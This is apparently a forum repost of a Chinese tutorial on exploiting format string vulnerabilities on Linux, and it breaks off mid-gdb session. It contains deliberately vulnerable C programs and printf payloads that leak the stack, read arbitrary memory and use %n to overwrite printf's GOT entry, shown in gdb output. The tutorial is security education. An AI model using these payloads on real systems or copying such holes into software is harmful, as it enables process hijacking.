由 pgtm_love 在 06-01-2003 22:32 发表:
在Linux上利用Format String漏洞
在Linux上利用Format String漏洞
发布日期:2002-11-25
文摘内容:
--------------------------------------------------------------------------------
在Linux上利用Format String漏洞
作者:莫大
引子:
与缓冲区溢出漏洞相比,Format String漏洞的历史就要短得多,而且实际的例子也少很多。比较著名的象Linux上的rpc.statd,还有wu-ftpd版本2.x,前一段时间我还想找这个2.x版本的wu-ftpd源程序来Exploit一下,找来找去没找到,估计作者把它藏起来了。
不过网上倒是有几篇介绍Format String漏洞的文章值得一读,象Team teso的"Exploiting Format String Vulerabilities",还有Kalou/Pascal Bouchareine的"Format string vulnerability",这些文章的引用率应该很高,你们到Google上保证找得到。当然,我觉得我的这篇文章也不错,欢迎大家来看啦,只是有史以来很多人都喜欢读原著,象我大学时教政治的老师,他就经常说要读马列原著才行,翻译的都不灵光。
这一章我将在Caldera Linux V2.2上演示Format String的原理以及Exploit例子,不过我想其它Flavor的Linux也能试验这一章用到的程序。演示用的机器是claton----这是我美国梦开始的地方。
针对Linux操作系统或者Linux应用程序的Exploit多如牛毛,毕竟Linux是Open Source的,各方豪杰都要围着它们显显身手、切磋武功----我也花了不少时间在Linux上操练(不好意思,自己称自己为豪杰)。
Anyway,新时代的口号: Long Live OpenSource!!!!
关于Format String漏洞的背景介绍之一:
按老规矩,在作Exploit之前,我们要先介绍一下Format String的背景知识。请看下面的程序fordemo.c
<======================fordemo.c=========================>
main()
pb
char buf[512]="";
char tmp[512]="hello world\n";
memset(buf, '\0', 512);
read(0, buf, 512);
printf(tmp);
printf("%s\n%s", buf,tmp);
printf("%x==%x==%x==%x\n");
}
<========================================================>
fordemo连续三次调用格式输出函数printf:第一次与第二次都属正常,大家在编写程序时也经常如此这般地调用printf;但第三次调用却有些奇怪,为什么只有格式化符号%x?根据printf的语法要求,这次调用还需要另外四个输入参数,类似于下面的形式才对:
printf("%x==%x==%x==%x\n",forx1,forx2,forx3,forx4);
那么,当程序fordemo调用第三个printf时,它会如何反应呢?让我们深入到fordemo的汇编码中看看。
先编译程序fordemo.c,编译器并不认为第三个printf调用有语法错误。
[moda@claton format]$ gcc fordemo.c -o fordemo -g
用gdb运行fordemo:
[moda@claton format]$ gdb fordemo
GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-COL-linux"...
/*
先在函数printf入口设置断点
*/
(gdb) b printf
Breakpoint 1 at 0x80484f4
(gdb) r
Starting program: /home/moda/format/fordemo
Breakpoint 1 at 0x40066c1c: file printf.c, line 30.
hello babby
/*
这里通过函数read输入字符串"hello babby"给缓冲区buf
*/
Breakpoint 1, printf (format=0xbffff8b8 "hello world\n") at printf.c:30
/*
已经进入第一次printf函数调用----"printf(tmp)",然后在断点处停下。我们看看进程当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:
*/
(gdb) bt
#0 printf (format=0xbffff8b8 "hello world\n") at printf.c:30
#1 0x80486a9 in main () at fordemo.c:10
#2 0x4003286f in __libc_start_main (main=0x8048608
1<main>, argc=1,
2
3argv=0xbffffd04, init=0x8048470 <_init>, fini=0x8049530 <_fini>,
4
5rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffcfc)
6
7at ../sysdeps/generic/libc-start.c:92
8
9(gdb) x/20x $esp
10
110xbffff8a8: 0x40102e9c 0xbffffcb8 0x080486a9 0xbffff8b8
12
130xbffff8b8: 0x6c6c6568 0x6f77206f 0x0a646c72 0x00000000
14
150xbffff8c8: 0x00000000 0x00000000 0x00000000 0x00000000
16
170xbffff8d8: 0x00000000 0x00000000 0x00000000 0x00000000
18
190xbffff8e8: 0x00000000 0x00000000 0x00000000 0x00000000
20
21/*
22
23观察一下call stack可以知道,0x080486a9是函数printf返回main的地址,它前面的0xbffffcb8应该是main的堆栈栈底($EBP)地址,而它后面的0xbffff8b8就是函数printf的输入参数,也就是指向缓冲区tmp的起始地址的指针。我们可以核实一下:
24
25*/
26
27(gdb) x/s 0xbffff8b8
28
290xbffff8b8: "hello world\n"
30
31/*
32
33上面这个"printf(tmp)"调用是最简单的情况,只需要一个字符串指针0xbffff8b8作为输入参数,而且这个指针参数是紧接在printf返回地址后面。
34
35
36
37我顺便提醒一下(因为可能有人在打瞌睡):指针0xbffff8b8所指向的缓冲区tmp就紧跟在这个指针的后面。
38
39
40
41下面继续执行,我们要看一下第二个printf调用时内存的内容。
42
43*/
44
45(gdb) c
46
47Continuing.
48
49hello world
50
51
52
53Breakpoint 1, printf (format=0x8049562 "%s\n%s") at printf.c:30
54
55
56
57/*
58
59程序已经进入"printf("%s\n%s", buf,tmp);",现在停在断点处。我们看看进程当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:
60
61*/
62
63(gdb) bt
64
65#0 printf (format=0x8049562 "%s\n%s") at printf.c:30
66
67#1 0x80486c4 in main () at fordemo.c:11
68
69#2 0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,
70
71argv=0xbffffd04, init=0x8048470 <_init>, fini=0x8049530 <_fini>,
72
73rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffcfc)
74
75at ../sysdeps/generic/libc-start.c:92
76
77(gdb) x/20x $esp
78
790xbffff8a0: 0x40102e9c 0xbffffcb8 0x080486c4 0x08049562
80
810xbffff8b0: 0xbffffab8 0xbffff8b8 0x6c6c6568 0x6f77206f
82
830xbffff8c0: 0x0a646c72 0x00000000 0x00000000 0x00000000
84
850xbffff8d0: 0x00000000 0x00000000 0x00000000 0x00000000
86
870xbffff8e0: 0x00000000 0x00000000 0x00000000 0x00000000
88
89/*
90
910xbffffcb8是函数main的堆栈栈底($EBP)地址,0x080486c4是printf返回main的地址,而紧跟在0x080486c4后面的应该是printf函数的输入参数。源程序中的printf有三个输入参数:"%s\n%s"、buf、tmp,它们分别对应着0x080486c4后面的0x08049562、0xbffffab8、0xbffff8b8。在printf最后作格式化输出时,0xbffffab8、0xbffff8b8所指向的字符串将替换格式化字符串"%s\n%s"中的两个%s。
92
93*/
94
95(gdb) x/s 0x08049562
96
970x8049562 <_IO_stdin_used+18>: "%s\n%s"
98
99(gdb) x/s 0xbffffab8
100
1010xbffffab8: "hello babby\n"
102
103(gdb) x/s 0xbffff8b8
104
1050xbffff8b8: "hello world\n"
106
107/*
108
109从上面的内存分配情况可以看出,当printf的输入参数中有格式化符号时,比如说"%s\n%s",系统会把实现(或者说替换)这些格式化符号的"真实的"参数或参数指针分配在格式化符号串的后面。这一点对于我们理解Format String的漏洞很重要!的确很重要!
110
111
112
113如果你还不理解这一点的重要性,请想象一下如果我们忘记提供替换"%s\n%s"的两个字符串(不管是有意还是无意),printf会这么处理??
114
115
116
117这就是我们第三个printf调用"printf("%x==%x==%x==%x\n");"所要说明的!
118
119*/
120
121(gdb) c
122
123Continuing.
124
125hello babby
126
127
128
129hello world
130
131
132
133Breakpoint 1, printf (format=0x8049568 "%x==%x==%x==%x\n") at printf.c:30
134
135/*
136
137现在程序已经进入" printf("%x==%x==%x==%x\n")"。我们看看程序当前的call stack以及当前堆栈栈顶$ESP附近的内存内容:
138
139*/
140
141(gdb) bt
142
143#0 printf (format=0x8049568 "%x==%x==%x==%x\n") at printf.c:30
144
145#1 0x80486d1 in main () at fordemo.c:12
146
147#2 0x4003286f in __libc_start_main (main=0x8048608 <main>, argc=1,
148
149argv=0xbffffd04, init=0x8048470 <_init>, fini=0x8049530 <_fini>,
150
151rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffcfc)
152
153at ../sysdeps/generic/libc-start.c:92
154
155(gdb) x/20x $esp
156
1570xbffff8a8: 0x40102e9c 0xbffffcb8 0x080486d1 0x08049568
158
1590xbffff8b8: 0x6c6c6568 0x6f77206f 0x0a646c72 0x00000000
160
1610xbffff8c8: 0x00000000 0x00000000 0x00000000 0x00000000
162
1630xbffff8d8: 0x00000000 0x00000000 0x00000000 0x00000000
164
1650xbffff8e8: 0x00000000 0x00000000 0x00000000 0x00000000
166
167(gdb) x/s 0x08049568
168
1690x8049568 <_IO_stdin_used+24>: "%x==%x==%x==%x\n"
170
171/*
172
1730x080486d1是printf返回main的地址,且不管它。0x08049568指向格式化字符串"%x==%x==%x==%x\n",但是我们并没有提供替换四个格式化符号%x的参数,printf如何处理这种情况呢?它误以为紧跟在指针0x08049568后面的四个Hex码(每个Hex码为4Bytes)也是输入参数,并用这四个Hex码来替换符号%x输出。
174
175*/
176
177(gdb) c
178
179Continuing.
180
1816c6c6568==6f77206f==a646c72==0
182
183
184
185Program exited with code 037.
186
187(gdb)
188
189(gdb) q
190
191[moda@claton format]$
192
193
194
195现在让我总结一下:"当使用格式化函数(比如printf,sprintf,fprintf等等)时,如果我们有意或无意让替换格式化符号的"真实"参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出。"----莫氏定理。
196
197
198
199背景还没介绍完,请大家继续往下看!
200
201
202
203
204
205关于Format String漏洞的背景介绍之二:
206
207
208
209
210
211前一段时间听说台湾省的美凤小姐被人用针孔像机偷窥了几下,我当时就想在虚拟世界里这个Format String就是偷窥用的针孔像机,它可以满足黑客们与众不同的心态----偷窥程序的堆栈内容,偷窥被调用函数返回地址和调用函数堆栈栈底地址等系统管理信息。请看下面的例子forreal.c,这也是本章我要Exploit的Vulerable程序,我下面就要偷窥它的系统管理信息以及其它一些我们感兴趣的内容。
212
213
214
215<===========================forreal.c===============================>
216
217
218
219#include <stdio.h>
220
221#define IOSIZE 512
222
223
224
225
226
227main()
228
229{
230
231FILE * binFileH;
232
233char binFile[]="binFile";
234
235char tmp1[IOSIZE];
236
237char tmp2[IOSIZE];
238
239
240
241memset(tmp1, '\x00', IOSIZE);
242
243memset(tmp2, '\x00', IOSIZE);
244
245
246
247if ( (binFileH = fopen(binFile, "rb")) == NULL)
248
249{
250
251printf("can't open file -cn");
252
253exit();
254
255}
256
257
258
259//tmp1 = getenv(buf);
260
261fread(tmp1, sizeof(char),IOSIZE, binFileH);
262
263printf("Finish Reading in File\n");
264
265
266
267makeeasy(tmp2,tmp1);
268
269
270
271}
272
273
274
275
276
277makeeasy(char * tmp2, char * tmp1)
278
279{
280
281
282
283char crap[4]="XXXX";
284
285
286
287sprintf(tmp2,tmp1);
288
289
290
291printf("%s\n",tmp2);
292
293}
294
295
296
297=====================================================================
298
299
300
301先创建一个文件binFile,我们往里面输入几个格式化字符:
302
303
304
305[moda@claton format]$ printf "AAAA %%x %%x %%x %%x %%x %%x" > binFile
306
307
308
309现在binFile中只有格式化符号,但却没有替换格式化符号的真实的参数。我们运行一下Vulerable程序看看可以"偷窥"到什么东西:
310
311
312
313[moda@claton format]$ forreal
314
315Finish Reading in File
316
317AAAA 58585858 bffffce8 8048771 bffff8dc bffffadc 41414141
318
319[moda@claton format]$
320
321
322
323其中的58585858是crap矩阵变量"XXXX"的ascii码,bffffce8是main()函数寄存器ESP的内容,而8048771则是函数makeeasy的返回地址。大家猜一下bffff8dc与bffffadc是什么?它们是函数makeeasy的输入参数tmp2指针与tmp1指针。最后的41414141是"AAAA"的ascii码,为什么会是41414141呢?让我另起一段来详细说明一下:
324
325
326
327当makeeasy调用函数sprintf(tmp2,tmp1)时,格式化符号串指针*tmp1后面的内存内容如下:
328
329
330
331\--符号串指针*tmp1--crap--main的ESP--makeeasy的RET--*tmp2--*tmp1--tmp2矩阵--
332
333
334
335根据莫氏定理:"如果我们有意或无意让替换格式化符号的'真实'参数缺失,格式化函数会把跟在格式化符号串指针后面(但不一定是紧跟在后面)的堆栈内容输出",因此格式化符号们"%x %x %x %x %x %x"依次把从crap开始的内容一个一个地输出,一直到第六个格式化符号%x,它对应着矩阵tmp2的起始4个字节----sprintf函数这时已经往里面放了"AAAA"的ascii码,所以第六个%x就把这些ascii码输出。我们的针孔像机果然看到了许多不该看到的东西吧!
336
337
338
339在介绍针孔像机的另一个功能之前,我要问大家一个问题,如何得到程序运行时内存的内容?换句话问,"任意"给你一个内存地址("任意"是指程序运行权限之内的任意地址),你能得到它的内容吗?
340
341
342
343就象在Solaris系统中的truss一样,在linux上我们可以用ltrace或者strace跟踪某些程序变量的内存地址以及其它一些有限的内容,请看下面的演示:
344
345
346
347[moda@claton format]$ echo "ZZZZZZZZ" > binFile
348
349[moda@claton format]$
350
351[moda@claton format]$ ltrace forreal
352
353__libc_start_main(0x080486c0, 1, 0xbffffcf4, 0x080484f0, 0x08049600 <unfinished ...="">
354
355memset(0xbffffa9c, '\000', 512) = 0xbffffa9c
356
357memset(0xbffff89c, '\000', 512) = 0xbffff89c
358
359fopen("binFile", "rb") = 0x0804a798
360
361fread(0xbffffa9c, 1, 512, 0x0804a798) = 9
362
363printf("Finish Reading in File\n"Finish Reading in File
364
365) = 23
366
367sprintf("ZZZZZZZZ□cn", "ZZZZZZZZ\n") = 9
368
369printf("%s\n", "ZZZZZZZZ\n"ZZZZZZZZ
370
371
372
373) = 10
374
375+++ exited (status 10) +++
376
377
378
379上面黑体显示的就是一些内存变量在程序运行时的地址及内容。不过这些信息也太有限了,而且在大多数情况下,你还没有足够的权限用ltrace(或strace)去跟踪程序的运行呢!这与我们要求的"任意"这个最高境界还差着十万八千里的距离。
380
381
382
383如果你没有孙悟空翻筋斗的功夫,那还是跟着我学习针孔像机的另一个功能:偷窥内存"任意"地址的内容。请看下面的演示:
384
385
386
387先创建一个文件binFile,往里面加格式化字符串:
388
389moda@claton format]$ printf "ABCD\xcc\xf8\xff\xbf%%x%%x%%x%%x%%x%%xBBBB%%s" >binFile
390
391[moda@claton format]$
392
393
394
395接着运行forreal:
396
397
398
399[moda@claton format]$ forreal
400
401Finish Reading in File
402
403ABCD旭 +58585858bffffce88048771bffff8dcbffffadc44434241BBBBFn +q□□+_□+ABCD旭8585858bffffce88048771bffff8dcbffffadc44434241BBBB
404
405[moda@claton format]$
406
407
408
409forreal输出了一堆乱七八糟的东西,不过仔细看看输出的结果,我们还是认识其中的大部分的:ABCD、58585858("XXXX"的ascii码)、bffffce8(main函数的ESP),0x8048771(makeeasy的RET)、bffff8dc与bffffadc(makeeasy的输入参数)、44434241(对应着"ABCD")、BBBB。其它的字节则不能正常输出(不过南极星程序可能把它们当成Unicode输出了),其中跟在ABCD后面的应该是字节"\xccPcxf8\xff\xb"、跟在BBBB后面的是什么呢?让我们把结果再以Hex码显示一下,我特别把不能正常显示的字节用大几号的黑体标出来:
410
411
412
413[moda@claton format]$
414
415[moda@claton format]$ forreal | hexdump
416
4170000000 6946 696e 6873 5220 6165 6964 676e 6920 //Finish Reading ...
418
4190000010 206e 6946 656c 410a 4342 cc44 fff8 35bf //in File\nABCD 5
420
4210000020 3538 3538 3538 6238 6666 6666 6563 3838 //8585858bffffce88
422
4230000030 3430 3738 3137 6662 6666 3866 6364 6662 //048771bffff8dcbf
424
4250000040 6666 6166 6364 3434 3334 3234 3134 4242 //fffadc44434241BB
426
4270000050 4242 fce8 bfff 8771 0804 f8dc bfff fadc //BB
428
4290000060 bfff 4241 4443 f8cc bfff 3835 3835 3835
430
4310000070 3835 6662 6666 6366 3865 3038 3834 3737
432
4330000080 6231 6666 6666 6438 6263 6666 6666 6461
434
4350000090 3463 3434 3433 3432 4231 4242 0a42
436
437000009e
438
439
440
441跟在ABCD后面的黑体字确是字节0xbffff8cc,而跟在BBBB后面的长字串黑体字是
442
443"bffffce88048771bffff8dc。。。。。。"----这重复了0x58585858后面的内容。为什么会是这样的结果呢?如果你已经知道原因的话,请先飞到下一节吧!(聪明的是不会轻易先飞的,因为怕别人说他是笨鸟!)。
444
445
446
447我们回顾一下格式化符号串指针附近的内存内容:
448
449
450
451\---符号串指针*tmp1--crap--main函数的ESP--makeeasy函数的RET--*tmp2--*tmp1-- tmp2矩阵(44434241--bffff8cc--.......)
452
453
454
455在传给sprintf的格式化字符串"ABCD\xcc\xf8\xff\xbf%%x%%x%%x%%x%%x%%xBBBB%%s" 中有六个%x,sprintf把它们依次以下面的内容替换:crap(0x58585858)、main的ESP(0xbffffce8)、makeeasy的RET(0x8048771)、tmp2矩阵指针(0xbffff8dc)、tmp1矩阵指针(0xbffffadc)、ABCD的ascii码(0x44434241)。再下一个格式化符号是BBBB后面的"%s",它由什么来替换呢?很显然它将由排在0x44434241后面的四个字节替换,这四个字节中已经放入我们输入"\xcc\xf8\xff\xbf"。但是、但是。。。现在替换的规则变了:sprintf或其它的格式化函数在替换"%s"时,它们需要的是字符串指针,於是"\xcc\xf8\xff\xbf"就被当作字符串指针,这样替换的结果就是sprintf函数把这个指针指向的内容输出,我们也就得到了从地址0xbffff8cc开始的内存内容,也就是"bffffce88048771bffff8dc。。。。。。"!依此类推,你若想知道其它任意地址Any_Address的内容,只要把地址0xbffff8cc换成Any_Address即可。
456
457
458
459好了,现在应该介绍Format String的最后、也是最重要的功能:如何巧妙设计Format String,然后利用格式化函数往内存中写东西。我要让大家看看,我们的"针孔像机"不光可以看东西,还可以动手动脚哩!而这个手和脚就是格式化符号"%n",当格式化函数遇到"%n"时,它会将已经输出的字节总数写入"%n"对应的替换地址中。在下面的例子中,我要利用"%n"来修改printf函数的Global Offset Table Entry。(如果你不太清楚Linux系统中Global Offset Table的概念,请"GOTO 下一节----关于Linux操作系统中的Global Offset Table:",不过千万要记得看完以后再返回到这里。)
460
461
462
463先看看程序forreal中的各个输入函数的GOT Entry地址,我把printf函数的Entry用大号黑体标出来,方便象我一样的近似眼们看清楚。
464
465
466
467[moda@claton format]$
468
469[moda@claton format]$ objdump -R forreal
470
471
472
473forreal: file format elf32-i386
474
475
476
477DYNAMIC RELOCATION RECORDS
478
479OFFSET TYPE VALUE
480
4810804a6cc R_386_GLOB_DAT __gmon_start__
482
4830804a698 R_386_JUMP_SLOT malloc
484
4850804a69c R_386_JUMP_SLOT fread
486
4870804a6a0 R_386_JUMP_SLOT abort
488
4890804a6a4 R_386_JUMP_SLOT __deregister_frame_info
490
4910804a6a8 R_386_JUMP_SLOT __libc_start_main
492
4930804a6ac R_386_JUMP_SLOT printf
494
4950804a6b0 R_386_JUMP_SLOT exit
496
4970804a6b4 R_386_JUMP_SLOT free
498
4990804a6b8 R_386_JUMP_SLOT memset
500
5010804a6bc R_386_JUMP_SLOT fopen
502
5030804a6c0 R_386_JUMP_SLOT sprintf
504
5050804a6c4 R_386_JUMP_SLOT __register_frame_info_table
506
5070804a6c8 R_386_JUMP_SLOT __register_frame_info
508
509
510
511printf函数的GOT Entry是在地址0x0804a6ac,我们依据这个地址创造如下一个格式化字符串:
512
513
514
515[moda@claton format]$ printf "ABCD\xac\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%n" >binFile
516
517
518
519注意这个格式化字符串的结尾是"%n"。让我们运行程序一下forreal看看有什么结果:
520
521
522
523[moda@claton format]$ forreal
524
525Finish Reading in File
526
527Segmentation fault (core dumped)
528
529
530
531程序在输出"Finish Reading in File"以后垮掉了。我们用gdb来分析一下黑匣子文件core:
532
533
534
535[moda@claton format]$ gdb forreal core
536
537GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
538
539Copyright 1998 Free Software Foundation, Inc.
540
541GDB is free software, covered by the GNU General Public License, and you are
542
543welcome to change it and/or distribute copies of it under certain conditions.
544
545Type "show copying" to see the conditions.
546
547There is absolutely no warranty for GDB. Type "show warranty" for details.
548
549This GDB was configured as "i386-COL-linux"...
550
551Core was generated by `forreal'.
552
553Program terminated with signal 11, Segmentation fault.
554
555Reading symbols from /usr/i386-linuxglibc2/lib/libc.so.6...done.
556
557Reading symbols from /lib/ld-linux.so.2...done.
558
559#0 0x41 in ?? ()
560
561(gdb) bt //列出Call Stack
562
563#0 0x41 in ?? ()
564
565#1 0x8048771 in main () at forreal.c:25 //第25行调用makeeasy()函数
566
567#2 0x4003286f in __libc_start_main (main=0x80486c0 <main>, argc=1,
568
569argv=0xbffffd34, init=0x80484f0 <_init>, fini=0x8049600 <_fini>,
570
571rtld_fini=0x4000ab70 <_dl_fini>, stack_end=0xbffffd2c)
572
573at ../sysdeps/generic/libc-start.c:92
574
575(gdb)
576
577
578
579forreal程序的第25行是调用makeeasy()函数,然后从这里企图调用位于地址0x41的指令。这个地址0x41是不可访问的,所以系统终止forreal进程的运行,并报Segmentation fault错误。
580
581
582
583我们再用gdb来跟踪forreal程序的运行,可以看看它是如何一步一步地滑向深渊的:
584
585
586
587[moda@claton format]$ gdb forreal
588
589GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
590
591Copyright 1998 Free Software Foundation, Inc.
592
593GDB is free software, covered by the GNU General Public License, and you are
594
595welcome to change it and/or distribute copies of it under certain conditions.
596
597Type "show copying" to see the conditions.
598
599There is absolutely no warranty for GDB. Type "show warranty" for details.
600
601This GDB was configured as "i386-COL-linux"...
602
603(gdb) b sprintf //在sprintf函数入口设断点
604
605Breakpoint 1 at 0x80485d4
606
607(gdb) b 37 //在第37行设断点
608
609Breakpoint 2 at 0x8048796: file forreal.c, line 37.
610
611(gdb) r //开始运行程序
612
613Starting program: /home/moda/format/forreal
614
615Breakpoint 1 at 0x40066c70: file sprintf.c, line 37.
616
617Finish Reading in File
618
619
620
621Breakpoint 1, sprintf (s=0xbffff8ac "",
622
623format=0xbffffaac "ABCD惮\004\b %x %x %x %x %x %xBBBB%n") at sprintf.c:37
624
625/*
626
627程序在进入函数sprintf后中断,我们看看当前ESP附近的内存内容:
628
629*/
630
631(gdb) x/20x $esp
632
6330xbffff884: 0x40102e9c 0xbffff89c 0x08048793 0xbffff8ac
634
6350xbffff894: 0xbffffaac 0x58585858 0xbffffcb8 0x08048771
636
6370xbffff8a4: 0xbffff8ac 0xbffffaac 0x00000000 0x00000000
638
6390xbffff8b4: 0x00000000 0x00000000 0x00000000 0x00000000
640
6410xbffff8c4: 0x00000000 0x00000000 0x00000000 0x00000000
642
643(gdb) x/s 0xbffffaac
644
6450xbffffaac: "ABCD惮\004\b %x %x %x %x %x %xBBBB%n"
646
647/*
648
649地址0xbffff89c是makeeasy函数的堆栈栈底地址,而0x08048793则是sprintf返回makeeasy的地址。0xbffff8ac与0xbffffaac是sprintf函数的输入参数,其中0xbffffaac指向的缓冲区已经填入了我们通过binFile输入的格式化字符串。
650
651
652
653我们看看位于地址0x0804a6ac的printf函数的GOT entry内容:
654
655*/
656
657(gdb) x/4x 0x0804a6ac
658
6590x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:
660
6610x40066c0c 0x0804859a 0x080485 aa 0x400782c0
662
663/*
664
665对於Linux操作系统来说,某个函数的GOT entry是指向该函数起始地址的指针。所以地址0x0804a6ac中的0x40066c0c应该是printf函数的起始地址。不相信的话,请往看下面:
666
667*/
668
669(gdb) x/5i 0x40066c0c
670
6710x40066c0c <printf>: pushl %ebp
672
6730x40066c0d <printf+1>: movl %esp,%ebp
674
6750x40066c0f <printf+3>: pushl %ebx
676
6770x40066c10 <printf+4>: call 0x40066c15 <printf+9>
678
6790x40066c15 <printf+9>: popl %ebx
680
681/*
682
683继续执行
684
685*/
686
687(gdb) c
688
689Continuing.
690
691
692
693Breakpoint 2, makeeasy (
694
695tmp2=0xbffff8ac "ABCD惮\004\b 58585858 bffffcb8 8048771 bffff8ac bffffaac 44434241BBBB", tmp1=0xbffffaac "ABCD惮\004Pcb %x %x %x %x %x %xBBBB%n")
696
697at forreal.c:37
698
69937 printf("%s\n",tmp2);
700
701/*
702
703程序中断在第37行,准备用printf输出tmp2的内容。
704
705
706
707在这时候,sprintf函数已经把格式化字符串替换完,替换的结果填入从0xbffff8ac开始的缓冲区中。但是唯一的例外是格式化符号"%n"的替换,对应着这个"%n"的是地址0x0804a6ac,就是printf函数的GOT Entry。在替换时,sprintf函数把当前已经输出的字节总数(0x41)写入这个地址中。
708
709
710
711让我们检查一下地址0x0804a6ac的内容:
712
713*/
714
715(gdb) x/4x 0x0804a6ac
716
7170x804a6ac <_GLOBAL_OFFSET_TABLE_+32>:
718
7190x00000041 0x0804859a 0x080485 aa 0x400782c0
720
721/*
722
723作为函数printf的GOT Entry,这个地址0x0804a6ac中应该是指向printf起始地址的指针。现在这个指针被修改成了0x41,那么后面调用printf函数时进程就跳到地址0x41去执行,执行的结果当然是灾难性的Segmentation fault.
724
725*/
726
727(gdb) c
728
729Continuing.
730
731
732
733Program received signal SIGSEGV, Segmentation fault.
734
7350x41 in ?? ()
736
737
738
739上面的格式化字符串"ABCD\xac\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%n"仅仅往地址0x0804a6ac中写入一个很小的数0x41。如果我们要往这个地址写入一个很大的数值,比如说黑客码地址,应该如何构造格式化字符串呢?请大家研究下面的例子,我就不在旁边罗唆了。
740
741
742
743
744
745[moda@claton format]$ printf "ABCD\xac\xa6\x04\x08\xadPcxa6\x04\x08\xae\xa6\x04\x08\xaf\xa6\x04\x08 %%x %%x %%x %%x %%x %%xBBBB%%nCCCC%%nDDDD%%nEEEE%%n" >binFile
746
747[moda@claton format]$
748
749[moda@claton format]$ forreal
750
751Finish Reading in File
752
753Segmentation fault (core dumped)
754
755[moda@claton format]$ gdb forreal core
756
757GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
758
759Copyright 1998 Free Software Foundation, Inc.
760
761GDB is free software, covered by the GNU General Public License, and you are
762
763welcome to change it and/or distribute copies of it under certain conditions.
764
765Type "show copying" to see the conditions.
766
767There is absolutely no warranty for GDB. Type "show warranty" for details.
768
769This GDB was configured as "i386-COL-linux"...
770
771Core was generated by `forreal'.
772
773Program terminated with signal 11, Segmentation fault.
774
775Reading symbols from /usr/i386-linuxglibc2/lib/libc.so.6...done.
776
777Reading symbols from /lib/ld-linux.so.2...done.
778
779#0 0x5955514d in ?? ()
780
781(gdb) x/4x 0x0804a6ac
782
7830x804a6ac <_GLOBAL_OFFSET_TABLE_+32>: 0x5955514d 0x08000000 0x080485
784
785aa 0x400782c0
786
787(gdb) q
788
789[moda@claton format]$
790
791
792
793
794
795关于Linux操作系统中的Global Offset Table:
796
797
798
799
800
801在第四章里面我曾经提到Symbol Resolution的概念,就是说当程序要使用其它目标文件或目标文件库中的函数时,它要先知道这些函数的起始地址(当然我们假设该目标文件已经被载入程序内存空间)。至于它是通过何种途径解析这些起始地址的,已经有很多文章提及,我们且不管它。这里我主要说说在Linux中的程序获得起始地址以后,把这些地址保存在何处。
802
803
804
805在Linux系统中,我们可以使用命令"objdump -R 程序X"来了解程序X需要解析哪些输入函数的地址,比如说对於我们的Vulerable程序forreal:
806
807
808
809[moda@claton format]$ objdump -R forreal
810
811
812
813forreal: file format elf32-i386
814
815
816
817DYNAMIC RELOCATION RECORDS
818
819OFFSET TYPE VALUE
820
8210804a6cc R_386_GLOB_DAT __gmon_start__
822
8230804a698 R_386_JUMP_SLOT malloc
824
8250804a69c R_386_JUMP_SLOT fread
826
8270804a6a0 R_386_JUMP_SLOT abort
828
8290804a6a4 R_386_JUMP_SLOT __deregister_frame_info
830
8310804a6a8 R_386_JUMP_SLOT __libc_start_main
832
8330804a6ac R_386_JUMP_SLOT printf
834
8350804a6b0 R_386_JUMP_SLOT exit
836
8370804a6b4 R_386_JUMP_SLOT free
838
8390804a6b8 R_386_JUMP_SLOT memset
840
8410804a6bc R_386_JUMP_SLOT fopen
842
8430804a6c0 R_386_JUMP_SLOT sprintf
844
8450804a6c4 R_386_JUMP_SLOT __register_frame_info_table
846
8470804a6c8 R_386_JUMP_SLOT __register_frame_info
848
849
850
851
852
853它要从外面的目标文件库输入malloc、fread、abort、printf、sprintf等等函数,当这些输入函数第一次被调用时,forreal会利用动态联结器解析出它的起始地址。请注意最左边的一列,这些以0x0804开始的地址位于程序forreal的Global Offset Table中,输入函数被解析出来的地址就保存在这里。我们把这个0x0804XXXX地址叫做函数的GOT Entry。当程序再一次调用同一函数时,它将直接从该函数的GOT Entry中读取该函数的起始地址,然后跳到那里执行。
854
855
856
857我们以forreal程序对函数printf的调用为例,看看它的GOT Entry在调用前后的变化:
858
859
860
861[root@claton format]# gdb forreal
862
863GNU gdb 4.17.0.11 with Linux/x86 hardware watchpoint and FPU support
864
865Copyright 1998 Free Software Foundation, Inc.
866
867GDB is free software, covered by the GNU General Public License, and you are
868
869welcome to change it and/or distribute copies of it under certain conditions.
870
871Type "show copying" to see the conditions.
872
873There is absolutely no warranty for GDB. Type "show warranty" for details.
874
875This GDB was configured as "i386-COL-linux"...
876
877(gdb) b 23 //中断于 "fread(tmp1, sizeof(ch</printf+9></printf+9></printf+4></printf+3></printf+1></printf></main></unfinished></stdio.h></main></main></main>